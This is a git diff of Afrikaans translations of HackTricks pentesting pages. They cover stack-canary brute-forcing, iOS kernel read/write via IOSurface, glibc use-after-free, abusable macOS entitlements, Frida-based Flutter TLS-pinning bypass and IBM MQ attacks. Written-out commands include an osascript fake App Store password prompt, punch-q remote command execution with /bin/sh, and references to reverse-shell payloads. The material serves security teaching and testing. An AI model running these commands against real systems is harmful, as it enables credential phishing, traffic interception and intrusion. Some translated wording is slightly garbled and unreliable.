@ -59,8 +59,8 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Voorbeeld 2
Dit is geïmplementeer vir 32 bits, maar dit kan maklik verander word na 64 bits.\
Let ook daarop dat die **program verwag eers 'n byte om die grootte van die invoer aan te dui** en die payload.
Dit is geïmplementeer vir 32-bis, maar dit kan maklik verander word na 64-bis.\
Let ook daarop dat die **program eerstens 'n byte verwag om die grootte van die invoer** en die payload aan te dui.
```python
from pwn import *
@ -105,9 +105,9 @@ log.info(f"The canary is: {canary}")
Drade van dieselfde proses sal ook **diezelfde canary-token deel**, daarom sal dit moontlik wees om 'n canary te **brute-forc**e as die binêre 'n nuwe draad genereer elke keer as 'n aanval plaasvind.
Boonop kan 'n buffer **overflow in 'n gedrade funksie** wat met canary beskerm word, gebruik word om die **meester canary wat in die TLS gestoor is, te verander**. Dit is omdat dit moontlik mag wees om die geheueposisie te bereik waar die TLS gestoor is (en dus, die canary) via 'n **bof in die stapel** van 'n draad.\
As gevolg hiervan is die mitigering nutteloos omdat die kontrole gebruik word met twee canaries wat dieselfde is (alhoewel verander).\
Hierdie aanval word uitgevoer in die skrywe: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Boonop kan 'n buffer **overflow in 'n gedrade funksie** wat met canary beskerm word, gebruik word om die **master canary wat in die TLS gestoor is, te wysig**. Dit is omdat dit moontlik mag wees om die geheueposisie te bereik waar die TLS gestoor is (en dus, die canary) via 'n **bof in die stapel** van 'n draad.\
As gevolg hiervan is die mitigering nutteloos omdat die kontrole gebruik word met twee canaries wat dieselfde is (alhoewel gewysig).\
Hierdie aanval word in die skrywe uitgevoer: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Kyk ook na die aanbieding van [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) wat noem dat die **TLS** gewoonlik gestoor word deur **`mmap`** en wanneer 'n **stapel** van **draad** geskep word, dit ook deur `mmap` gegenereer word volgens dit, wat die overflow mag toelaat soos in die vorige skrywe gewys.
@ -115,3 +115,8 @@ Kyk ook na die aanbieding van [https://www.slideshare.net/codeblue_jp/master-can
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, geen PIE, nx, BF canary, skryf in 'n sekere geheue 'n ROP om `execve` aan te roep en daarheen te spring.
{{#include /banners/hacktricks-training.md}}

View File

@ -27,7 +27,7 @@ Bladsy tabelle is hiërargies georganiseer in drie vlakke:
#### Kaarting van Virtuele na Fisiese Geheue
* **Direkte Kaarting (Blok Kaarting)**:
* Sommige inskrywings in 'n bladsy tabel kaart direk **'n reeks van virtuele adresse** na 'n aaneengeskakelde reeks van fisiese adresse (soos 'n kortpad).
* Sommige inskrywings in 'n bladsy tabel kaart direk 'n reeks van virtuele adresse na 'n aaneengeskakelde reeks van fisiese adresse (soos 'n kortpad).
* **Wys na Kind Bladsy Tabel**:
* As fynere beheer nodig is, kan 'n inskrywing in een vlak (bv. L1) na 'n **kind bladsy tabel** op die volgende vlak (bv. L2) verwys.
@ -40,7 +40,7 @@ Kom ons sê jy probeer om toegang te verkry tot die virtuele adres **0x100000000
2. **L2 Tabel**:
* Die kernel kyk na die L2 bladsy tabel vir 'n meer gedetailleerde kaarting. As hierdie inskrywing na 'n **L3 bladsy tabel** verwys, gaan dit daarheen.
3. **L3 Tabel**:
* Die kernel soek die finale L3 inskrywing, wat na die **fisiese adres** van die werklike geheue bladsy wys.
* Die kernel soek die finale L3 inskrywing, wat na die **fisiese adres** van die werklike geheue bladsy verwys.
#### Voorbeeld van Adres Kaarting
@ -151,13 +151,13 @@ Die IOSurface objek het twee belangrike velde:
1. **Gebruik Tel Punter**: Laat 'n **32-bit lees** toe.
2. **Geverifieerde Tydstempel Punter**: Laat 'n **64-bit skryf** toe.
Deur hierdie punters te oorskryf, lei ons dit na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak.
Deur hierdie punters te oorskryf, lei ons hulle na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak.
#### 32-Bit Kernel Lees
Om 'n lees uit te voer:
1. Oorskryf die **gebruik tel punter** om na die teiken adres minus 'n 0x14-byte offset te wys.
1. Oorskryf die **gebruik tel punter** om na die teikenadres minus 'n 0x14-byt offset te wys.
2. Gebruik die `get_use_count` metode om die waarde op daardie adres te lees.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
@ -176,9 +176,9 @@ iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
#### 64-Bit Kernel Skryf
Om 'n skrywe uit te voer:
Om 'n skryf te doen:
1. Oorskryf die **geïndekseerde tydstempel-aanwyser** na die teikenadres.
2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit waarde te skryf.

View File

@ -8,13 +8,13 @@ Wanneer jy geheue in 'n program met glibc vrymaak, word verskillende "bins" gebr
### Ongesorteerde Bins
Wanneer jy 'n geheue stuk vrymaak wat nie 'n vinnige stuk is nie, gaan dit na die ongesorteerde bin. Hierdie bin funksioneer soos 'n lys waar nuwe vrygemaakte stukke aan die voorkant (die "kop") bygevoeg word. Wanneer jy 'n nuwe stuk geheue aan vra, kyk die toewysingsprogram na die ongesorteerde bin vanaf die agterkant (die "stert") om 'n stuk te vind wat groot genoeg is. As 'n stuk uit die ongesorteerde bin groter is as wat jy nodig het, word dit gesplit, met die voorste deel wat teruggegee word en die oorblywende deel wat in die bin bly.
Wanneer jy 'n geheue stuk vrymaak wat nie 'n vinnige stuk is nie, gaan dit na die ongesorteerde bin. Hierdie bin funksioneer soos 'n lys waar nuwe vrygemaakte stukke aan die voorkant (die "kop") bygevoeg word. Wanneer jy 'n nuwe stuk geheue aan vra, kyk die toewysingsprogram na die ongesorteerde bin van die agterkant (die "sterf") om 'n stuk te vind wat groot genoeg is. As 'n stuk uit die ongesorteerde bin groter is as wat jy nodig het, word dit gesplit, met die voorste deel wat teruggegee word en die oorblywende deel wat in die bin bly.
Voorbeeld:
- Jy toewys 300 bytes (`a`), dan 250 bytes (`b`), vrymaak `a` en vra weer 250 bytes (`c`).
- Jy allokeer 300 bytes (`a`), dan 250 bytes (`b`), vrymaak `a` en vra weer 250 bytes (`c`).
- Wanneer jy `a` vrymaak, gaan dit na die ongesorteerde bin.
- As jy dan weer 250 bytes vra, vind die toewysingsprogram `a` by die stert en split dit, terwyl die deel wat by jou versoek pas, teruggegee word en die res in die bin bly.
- As jy dan weer 250 bytes vra, vind die toewysingsprogram `a` by die sterf en split dit, teruggawende die deel wat by jou versoek pas en die res in die bin hou.
- `c` sal na die vorige `a` wys en met die `a's` gevul wees.
```c
char *a = malloc(300);
@ -24,13 +24,13 @@ char *c = malloc(250);
```
### Fastbins
Fastbins word gebruik vir klein geheue stukke. Anders as ongesorteerde bins, voeg fastbins nuwe stukke by die kop, wat 'n laaste-in-eerste-uit (LIFO) gedrag skep. As jy 'n klein stuk geheue aan vra, sal die toewysingsprogram van die fastbin se kop trek.
Fastbins word gebruik vir klein geheue stukke. Anders as onsortering bins, voeg fastbins nuwe stukke by die kop, wat 'n laaste-in-eerste-uit (LIFO) gedrag skep. As jy 'n klein stuk geheue aan vra, sal die toewysingsprogram van die fastbin se kop trek.
Voorbeeld:
Example:
- Jy toewys vier stukke van 20 bytes elk (`a`, `b`, `c`, `d`).
- Wanneer jy hulle in enige volgorde vrylaat, word die vrygestelde stukke by die fastbin se kop gevoeg.
- As jy dan 'n 20-byte stuk aan vra, sal die toewysingsprogram die mees onlangs vrygestelde stuk van die kop van die fastbin teruggee.
- As jy dan 'n 20-byte stuk aan vra, sal die toewysingsprogram die mees onlangse vrygestelde stuk van die kop van die fastbin teruggee.
```c
char *a = malloc(20);
char *b = malloc(20);
@ -51,10 +51,12 @@ d = malloc(20); // a
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- ARM64. Gebruik na vry: Genereer 'n gebruikersobjek, vry dit, genereer 'n objek wat die vrygestelde stuk ontvang en laat dit toe om na te skryf, **oorwrite die posisie van user->password** van die vorige een. Hergebruik die gebruiker om **die wagwoordkontrole te omseil**
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- Die program laat toe om notas te skep. 'n Nota sal die nota-inligting in 'n malloc(8) hê (met 'n pointeur na 'n funksie wat geroep kan word) en 'n pointeur na 'n ander malloc(\<size>) met die inhoud van die nota.
- Die program laat toe om notas te skep. 'n Nota sal die nota-inligting in 'n malloc(8) hê (met 'n wysiger na 'n funksie wat geroep kan word) en 'n wysiger na 'n ander malloc(\<grootte>) met die inhoud van die nota.
- Die aanval sou wees om 2 notas (nota0 en nota1) te skep met groter malloc-inhoud as die nota-inligting grootte en dan hulle vry te stel sodat hulle in die vinnige bin (of tcache) kom.
- Dan, skep 'n ander nota (nota2) met inhoudsgrootte 8. Die inhoud gaan in nota1 wees aangesien die stuk hergebruik gaan word, waar ons die funksiepointeur kan verander om na die wen-funksie te wys en dan Gebruik-Na-Vry die nota1 om die nuwe funksiepointeur aan te roep.
- Dan, skep 'n ander nota (nota2) met inhoudsgrootte 8. Die inhoud gaan in nota1 wees aangesien die stuk hergebruik gaan word, waar ons die funksiewysiger kan verander om na die wen-funksie te wys en dan Use-After-Free nota1 om die nuwe funksiewysiger aan te roep.
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- Dit is moontlik om 'n bietjie geheue toe te ken, die verlangde waarde te skryf, dit vry te stel, dit weer toe te ken en aangesien die vorige data steeds daar is, sal dit behandel word volgens die nuwe verwagte struktuur in die stuk wat dit moontlik maak om die waarde te stel om die vlag te kry.
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- In hierdie geval is dit nodig om 4 binne 'n spesifieke stuk te skryf wat die eerste een is wat toegeken word (selfs nadat al hulle gedwing vrygestel is). Op elke nuwe toegeken stuk word sy nommer in die array-indeks gestoor. Dan, ken 4 stukke toe (+ die aanvanklik toegeken), die laaste een sal 4 daarin hê, vry hulle en dwing die hertoekenning van die eerste een, wat die laaste vrygestelde stuk sal gebruik wat die een met 4 daarin is.
- In hierdie geval is dit nodig om 4 binne 'n spesifieke stuk te skryf wat die eerste een is wat toegeken word (selfs nadat al hulle gedwing vrygestel is). Op elke nuwe toegeken stuk word sy nommer in die array-indeks gestoor. Dan, ken 4 stukke toe (+ die aanvanklik toegeken), die laaste een sal 4 daarin hê, vry hulle en dwing die hertoewysing van die eerste een, wat die laaste vrygestelde stuk sal gebruik wat die een met 4 daarin is.
{{#include /banners/hacktricks-training.md}}

View File

@ -25,7 +25,7 @@ Hierdie toestemming maak dit moontlik vir ander prosesse met die **`com.apple.se
### `com.apple.security.cs.debugger`
Toepassings met die Debugging Tool Toestemming kan `task_for_pid()` aanroep om 'n geldige taakpoort vir ongetekende en derdeparty toepassings met die `Get Task Allow` toestemming wat op `true` gestel is, te verkry. Tog, selfs met die debugging tool toestemming, kan 'n debugger **nie die taakpoorte** van prosesse wat **nie die `Get Task Allow` toestemming het nie**, en wat dus deur Stelselintegriteitsbeskerming beskerm word, verkry. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
Apps met die Debugging Tool Toestemming kan `task_for_pid()` aanroep om 'n geldige taakpoort vir ongetekende en derdeparty-apps met die `Get Task Allow` toestemming wat op `true` gestel is, te verkry. Maar, selfs met die debugging tool toestemming, kan 'n debugger **nie die taakpoorte** van prosesse wat **nie die `Get Task Allow` toestemming het nie**, en wat dus deur Stelselintegriteitsbeskerming beskerm word, verkry nie. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
### `com.apple.security.cs.disable-library-validation`
@ -33,12 +33,12 @@ Hierdie toestemming maak dit moontlik om **raamwerke, plug-ins, of biblioteke te
### `com.apple.private.security.clear-library-validation`
Hierdie toestemming is baie soortgelyk aan **`com.apple.security.cs.disable-library-validation`** maar **in plaas daarvan** om **direk** biblioteekvalidasie te deaktiveer, maak dit dit moontlik vir die proses om **'n `csops` stelselaanroep te doen om dit te deaktiveer**.\
Hierdie toestemming is baie soortgelyk aan **`com.apple.security.cs.disable-library-validation`** maar **in plaas daarvan** om **direk** biblioteekvalidasie te deaktiveer, laat dit die proses toe om **'n `csops` stelselaanroep te doen om dit te deaktiveer**.\
Kyk [**hier vir meer inligting**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
### `com.apple.security.cs.allow-dyld-environment-variables`
Hierdie toestemming maak dit moontlik om **DYLD omgewing veranderlikes** te gebruik wat gebruik kan word om biblioteke en kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
Hierdie toestemming maak dit moontlik om **DYLD omgewingsveranderlikes** te gebruik wat gebruik kan word om biblioteke en kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
### `com.apple.private.tcc.manager` of `com.apple.rootless.storage`.`TCC`
@ -50,7 +50,7 @@ Hierdie toestemmings maak dit moontlik om **programmatuur te installeer sonder o
### `com.apple.private.security.kext-management`
Toestemming wat benodig word om die **kernel te vra om 'n kernel uitbreiding** te laai.
Toestemming wat benodig word om die **kernel te vra om 'n kernuitbreiding te laai**.
### **`com.apple.private.icloud-account-access`**
@ -58,7 +58,7 @@ Die toestemming **`com.apple.private.icloud-account-access`** maak dit moontlik
**iMovie** en **Garageband** het hierdie toestemming gehad.
Vir meer **inligting** oor die uitbuiting om **icloud tokens** van daardie toestemming te verkry, kyk die praatjie: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
Vir meer **inligting** oor die ontploffing om **icloud tokens** van daardie toestemming te verkry, kyk die praatjie: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
@ -91,13 +91,13 @@ Gee **Volle Skyf Toegang** regte, een van die TCC hoogste regte wat jy kan hê.
### **`kTCCServiceAppleEvents`**
Laat die app toe om gebeurtenisse na ander toepassings te stuur wat algemeen gebruik word vir **outomatisering van take**. Deur ander apps te beheer, kan dit die regte wat aan hierdie ander apps toegeken is, misbruik.
Laat die app toe om gebeurtenisse na ander toepassings te stuur wat algemeen gebruik word vir **automatisering van take**. Deur ander apps te beheer, kan dit die regte wat aan hierdie ander apps gegee is, misbruik.
Soos om hulle te laat vra vir die gebruiker se wagwoord:
```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
```
Of om hulle **arbitraire aksies** te laat uitvoer.
Of om hulle te laat **arbitraire aksies** uitvoer.
### **`kTCCServiceEndpointSecurityClient`**
@ -117,13 +117,13 @@ Dit is moontlik om te kyk wie hierdie toegang het in _Stelselsinstellings_ > _Pr
### `kTCCServiceAccessibility`
Die proses sal in staat wees om die **macOS toeganklikheidskenmerke** te **misbruik**, wat beteken dat hy byvoorbeeld sleutels kan druk. SO hy kan toegang vra om 'n toepassing soos Finder te beheer en die dialoog met hierdie toestemming goed te keur.
Die proses sal in staat wees om die **macOS toeganklikheidskenmerke** te **misbruik**, wat beteken dat hy byvoorbeeld sleutels kan druk. Hy kan dus toegang vra om 'n toepassing soos Finder te beheer en die dialoog met hierdie toestemming goed te keur.
## Medium
### `com.apple.security.cs.allow-jit`
Hierdie reg laat toe om **geheue te skep wat skryfbaar en uitvoerbaar is** deur die `MAP_JIT` vlag aan die `mmap()` stelselfunksie deur te gee. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
Hierdie reg laat toe om **geheue te skep wat skryfbaar en uitvoerbaar is** deur die `MAP_JIT` vlag aan die `mmap()` stelselfunksie te gee. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
### `com.apple.security.cs.allow-unsigned-executable-memory`
@ -134,10 +134,10 @@ Hierdie reg laat toe om **C-kode te oorskry of te patch**, gebruik die lank-gede
### `com.apple.security.cs.disable-executable-page-protection`
Hierdie reg laat toe om **afdelings van sy eie uitvoerbare lêers** op skyf te **wysig** om gedwonge uitgang te dwing. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
Hierdie reg laat toe om **gedeeltes van sy eie uitvoerbare lêers** op skyf te **wysig** om gedwonge uitgang te dwing. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
> [!CAUTION]
> Die Disable Executable Memory Protection Entitlement is 'n uiterste reg wat 'n fundamentele sekuriteitsbeskerming van jou toepassing verwyder, wat dit moontlik maak vir 'n aanvaller om jou toepassing se uitvoerbare kode sonder opsporing te herskryf. Verkies nouer regte indien moontlik.
> Die Uitskakeling van Uitvoerbare Geheuebeskerming Reg is 'n uiterste reg wat 'n fundamentele sekuriteitsbeskerming van jou toepassing verwyder, wat dit moontlik maak vir 'n aanvaller om jou toepassing se uitvoerbare kode sonder opsporing te herskryf. Verkies nouer regte indien moontlik.
### `com.apple.security.cs.allow-relative-library-loads`
@ -161,3 +161,10 @@ Laat die proses toe om **vir al die TCC-toestemmings te vra**.
### **`kTCCServicePostEvent`**
{{#include ../../../banners/hacktricks-training.md}}
</details>
{{#include /banners/hacktricks-training.md}}

View File

@ -3,13 +3,13 @@
{{#include ../../banners/hacktricks-training.md}}
# Flutter
Flutter is **Google se kruis-platform UI toolkit** wat ontwikkelaars toelaat om 'n enkele Dart kodebasis te skryf wat die **Engine** (natuurlike C/C++) in platform-spesifieke masjienkode vir Android & iOS omskakel. Die Engine bundel 'n **Dart VM**, **BoringSSL**, Skia, ens., en word as die gedeelde biblioteek **libflutter.so** (Android) of **Flutter.framework** (iOS) gestuur. Alle werklike netwerkverbinding (DNS, sokke, TLS) gebeur **binne hierdie biblioteek**, *nie* in die gewone Java/Kotlin Swift/Obj-C lae nie. Daardie geslote ontwerp is waarom die gewone Java-vlak Frida haakies op Flutter-apps misluk.
Flutter is **Google se kruis-platform UI toolkit** wat ontwikkelaars toelaat om 'n enkele Dart kode-basis te skryf wat die **Engine** (natuurlike C/C++) in platform-spesifieke masjienkode vir Android & iOS omskakel. Die Engine bundel 'n **Dart VM**, **BoringSSL**, Skia, ens., en verskaf as die gedeelde biblioteek **libflutter.so** (Android) of **Flutter.framework** (iOS). Alle werklike netwerkverbinding (DNS, sokke, TLS) gebeur **binne hierdie biblioteek**, *nie* in die gewone Java/Kotlin Swift/Obj-C lae nie. Daardie geslote ontwerp is waarom die gewone Java-vlak Frida haakies op Flutter-apps misluk.
## Intercepting HTTPS traffic in Flutter
This is a summary of this [blog post](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/).
### Waarom HTTPS-afluistering moeilik is in Flutter
### Waarom HTTPS onderskepping moeilik is in Flutter
* **SSL/TLS verifikasie leef twee lae af** in BoringSSL, so Java SSLpinning omseil dit nie.
* **BoringSSL gebruik sy *eie* CA stoor** binne libflutter.so; om jou Burp/ZAP CA in Android se stelsels stoor te invoer verander niks.
* Simbole in libflutter.so is **gestroop & gemanipuleer**, wat die sertifikaat-verifikasie funksie van dinamiese gereedskap verberg.
@ -25,7 +25,7 @@ Trek afhanklike verbintenisse | DEPS lêer in daardie engine commit | • `dart_
Find [get_snapshot_hash.py here](https://github.com/Impact-I/reFlutter/blob/main/scripts/get_snapshot_hash.py).
### Target: `ssl_crypto_x509_session_verify_cert_chain()`
### Teiken: `ssl_crypto_x509_session_verify_cert_chain()`
* Geleë in **`ssl_x509.cc`** binne BoringSSL.
* **Gee `bool` terug** 'n enkele `true` is genoeg om die hele sertifikaatkettingkontrole te omseil.
* Dieselfde funksie bestaan op elke CPU argitektuur; net die opcodes verskil.
@ -36,10 +36,10 @@ Find [get_snapshot_hash.py here](https://github.com/Impact-I/reFlutter/blob/main
* In `ssl_x509.cc`, dwing `return 1;`
* (Opsioneel) In `socket_android.cc`, hard-code 'n proxy (`"10.0.2.2:8080"`).
3. **Hercompileer** libflutter.so, plaas dit terug in die APK/IPA, teken, installeer.
4. **Pre-gepatchte bou** vir algemene weergawes word in die reFlutter GitHub vrystellings gestuur om ure van bou tyd te bespaar.
4. **Pre-gepatchte bou** vir algemene weergawes word in die reFlutter GitHub vrystellings verskaf om ure van bou tyd te bespaar.
### Opsie B Live hooking met **Frida** (die “hard-core” pad)
Omdat die simbool gestroop is, skandeer jy die gelaaide module vir sy eerste bytes, en verander dan die terugkeerwaarde ter plaatse.
### Opsie B Leef haak met **Frida** (die “hard-core” pad)
Omdat die simbool gestroop is, skandeer jy die gelaaide module vir sy eerste bytes, en verander dan die terugwaarde ter plaatse.
```javascript
// attach & locate libflutter.so
var flutter = Process.getModuleByName("libflutter.so");
@ -72,3 +72,5 @@ Flutter self **ignoreer toestel proxy instellings**. Eenvoudigste opsies:
## References
- [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
{{#include /banners/hacktricks-training.md}}

View File

@ -6,7 +6,9 @@
IBM MQ is 'n IBM-tegnologie om boodskap-rye te bestuur. Soos ander **boodskap broker** tegnologieë, is dit toegewy aan die ontvang, stoor, verwerk en klassifiseer van inligting tussen produsente en verbruikers.
Standaard, **dit stel IBM MQ TCP-poort 1414 bloot**. Soms kan HTTP REST API blootgestel word op poort **9443**. Metings (Prometheus) kan ook vanaf TCP-poort **9157** verkry word.
Standaard, **dit stel IBM MQ TCP-poort 1414 bloot**.
Soms kan HTTP REST API blootgestel word op poort **9443**.
Metrieke (Prometheus) kan ook vanaf TCP-poort **9157** verkry word.
Die IBM MQ TCP-poort 1414 kan gebruik word om boodskappe, rye, kanale, ... te manipuleer, maar **ook om die instansie te beheer**.
@ -27,14 +29,14 @@ Vir 'n meer handmatige benadering, gebruik die Python-biblioteek **[pymqi](https
3. Decomprimeer (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
4. Voer `sudo ./mqlicense.sh` uit om lisensievoorwaardes te aanvaar.
> As jy onder Kali Linux is, wysig die lêer `mqlicense.sh`: verwyder/kommentaar die volgende lyne (tussen lyne 105-110):
> As jy onder Kali Linux is, wysig die lêer `mqlicense.sh`: verwyder/comments die volgende lyne (tussen lyne 105-110):
>
> ```bash
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
> fi
> ```
@ -62,7 +64,7 @@ Daarna kan dit gebruik word met die `punch-q` opdrag.
## Enumerasie
Jy kan probeer om die **queue manager naam, die gebruikers, die kanale en die queues** te enumereer met **punch-q** of **pymqi**.
Jy kan probeer om die **queue manager naam, die gebruikers, die kanale en die queues** te enumerate met **punch-q** of **pymqi**.
### Queue Manager
@ -145,7 +147,7 @@ Showing channels with prefix: "*"...
```
### Queues
Daar is 'n kode-snippet met **pymqi** (`dis_queues.py`) maar **punch-q** laat toe om meer stukke inligting oor die queues te verkry:
Daar is 'n kode-snippet met **pymqi** (`dis_queues.py`) maar **punch-q** maak dit moontlik om meer inligting oor die queues te verkry:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
@ -171,7 +173,7 @@ Showing queues with prefix: "*"...
### Dump boodskappe
Jy kan teikens stel op wagte(n)/kanaal(e) om boodskappe van hulle te snuffel / dump (nie-destructiewe operasie). _Voorbeelde:_
Jy kan teikens stel op wagte(n)/kanaal(e) om boodskappe uit hulle te snuffel / te dump (nie-destructiewe operasie). _Voorbeelde:_
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
@ -179,7 +181,7 @@ Jy kan teikens stel op wagte(n)/kanaal(e) om boodskappe van hulle te snuffel / d
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**Moet nie huiwer om op alle geïdentifiseerde rye te iterate nie.**
**Moet nie huiwer om op alle geïdentifiseerde rye te herhaal nie.**
### Kode-uitvoering
@ -193,7 +195,7 @@ Jy kan teikens stel op wagte(n)/kanaal(e) om boodskappe van hulle te snuffel / d
>
> Een interessante opdrag is `MQCMD_CREATE_SERVICE` en sy dokumentasie is beskikbaar [hier](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Dit neem as argument 'n `StartCommand` wat na 'n plaaslike program op die instansie verwys (voorbeeld: `/bin/sh`).
>
> Daar is ook 'n waarskuwing van die opdrag in die dokumentasie: _"Versigtigheid: Hierdie opdrag laat 'n gebruiker toe om 'n arbitrêre opdrag met mqm gesag uit te voer. As regte toegestaan word om hierdie opdrag te gebruik, kan 'n kwaadwillige of onverskillige gebruiker 'n diens definieer wat jou stelsels of data benadeel, byvoorbeeld deur noodsaaklike lêers te verwyder."_
> Daar is ook 'n waarskuwing van die opdrag in die dokumentasie: _"Versigtig: Hierdie opdrag laat 'n gebruiker toe om 'n arbitrêre opdrag met mqm-gesag uit te voer. As regte toegestaan word om hierdie opdrag te gebruik, kan 'n kwaadwillige of onverskillige gebruiker 'n diens definieer wat jou stelsels of data benadeel, byvoorbeeld deur noodsaaklike lêers te verwyder."_
>
> _Let wel: altyd volgens IBM MQ dokumentasie (Administrasie Verwysing), is daar ook 'n HTTP-eindpunt by `/admin/action/qmgr/{qmgrName}/mqsc` om die ekwivalente MQSC-opdrag vir dienscreatie (`DEFINE SERVICE`) uit te voer. Hierdie aspek is nog nie hier behandel nie._
@ -203,7 +205,7 @@ Die dienscreatie / -verwydering met PCF vir afstandsprogramuitvoering kan gedoen
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
> In die logs van IBM MQ kan jy lees dat die opdrag suksesvol uitgevoer is:
> In die logs van IBM MQ, kan jy lees dat die opdrag suksesvol uitgevoer is:
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: Die Opdrag '808544aa7fc94c48' het begin. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
@ -224,11 +226,11 @@ Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**Wees bewus dat die programontplooi asynchrone is. So jy het 'n tweede item nodig om die exploit te benut** **_(luisteraar vir omgekeerde skulp, lêercreasie op 'n ander diens, data-uitvloei deur die netwerk ...)_**
**Wees bewus dat die programontplooi asynchrone is. So jy het 'n tweede item nodig om die ontploffing te benut** **_(luisteraar vir omgekeerde dop, lêercreasie op 'n ander diens, data-uitvloei deur die netwerk ...)_**
**Voorbeeld 2**
Vir 'n maklike omgekeerde skulp, **punch-q** bied ook twee omgekeerde skulp payloads aan:
Vir 'n maklike omgekeerde dop, **punch-q** bied ook twee omgekeerde dop payloads aan:
- Een met bash
- Een met perl
@ -294,19 +296,19 @@ As jy nie die konstante name kan vind nie, kan jy na die [IBM MQ dokumentasie](h
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
> print("Error")
> print("Error")
> else:
> print(response)
> print(response)
>
> qmgr.disconnect()
> ```
## Toetsomgewing
As jy die IBM MQ gedrag en exploits wil toets, kan jy 'n plaaslike omgewing opstel gebaseer op Docker:
As jy die IBM MQ gedrag en eksploit te toets, kan jy 'n plaaslike omgewing opstel gebaseer op Docker:
1. Om 'n rekening op ibm.com en cloud.ibm.com te hê.
2. Skep 'n gecontaineriseerde IBM MQ met:
@ -315,9 +317,9 @@ sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
